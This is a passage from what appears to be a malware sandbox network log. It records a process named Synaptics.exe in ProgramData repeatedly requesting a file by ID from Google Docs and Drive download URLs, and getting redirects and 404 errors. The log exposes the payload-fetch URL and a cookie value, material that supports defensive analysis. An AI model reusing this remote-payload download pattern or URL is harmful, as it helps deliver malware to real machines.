2024-12-30 03:59:35 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 34 59 77 72 41 75 47 36 75 30 33 6e 37 46 6e 31 53 43 63 65 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="i4YwrAuG6u03n7Fn1SCcew">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49888	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-i-OYNHEsv-x8sZLWLaMSaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49889	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:35 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-3mkgeWO1zxtsaOr9qLSXww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49891	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:36 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:36 UTC	1242	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6sEKpj7K2JTFM2i5m0S7mYHMXxHbY36vpIt1vd315tHLee4YA71LlDnZupTa_o8C0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:36 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-InuDqAYtm78iwzwKmEjFOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:36 UTC	148	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not
2024-12-30 03:59:36 UTC	1390	IN	Data Raw: 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 4a 77 34 74 43 62 71 39 68 43 66 71 61 36 4e 32 32 54 64 6f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a Data Ascii: Found)!!1</title><style nonce="3Jw4tCbq9hCfqa6N22TdoQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:
2024-12-30 03:59:36 UTC	114	IN	Data Raw: 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49892	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:36 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-u5sY0NXiRWoFp25zcoRHrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49894	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:36 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:36 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4WHAfbb6IRukLwpSyevePuFa4_SwhQJjEJNRHx1Q3Kri0GfJRN-pdJ1paAks6hZvA2f4n-uQk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:36 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-HXdeOlWWtJ0GBordlk7n-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:36 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:36 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 49 36 37 67 39 39 2d 73 78 41 4c 31 50 37 48 43 4f 71 47 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="II67g99-sxAL1P7HCOqG5w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:36 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49893	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:36 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EzetUvTvHiJHylEZPmqdtQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49898	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:37 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:37 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4KS1-8RPzB0Lv_c7iLtGFjZmcKJK3jBAYNptdA-urt_pRg2CNGOwwelOHjaa4LRS7W Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:37 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zQZnxz-jdoHytkoMnTSKRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:37 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:37 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 73 45 67 77 67 42 43 56 45 5f 7a 61 50 2d 62 37 30 42 74 6e 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="QsEgwgBCVE_zaP-b70BtnQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:37 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49899	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
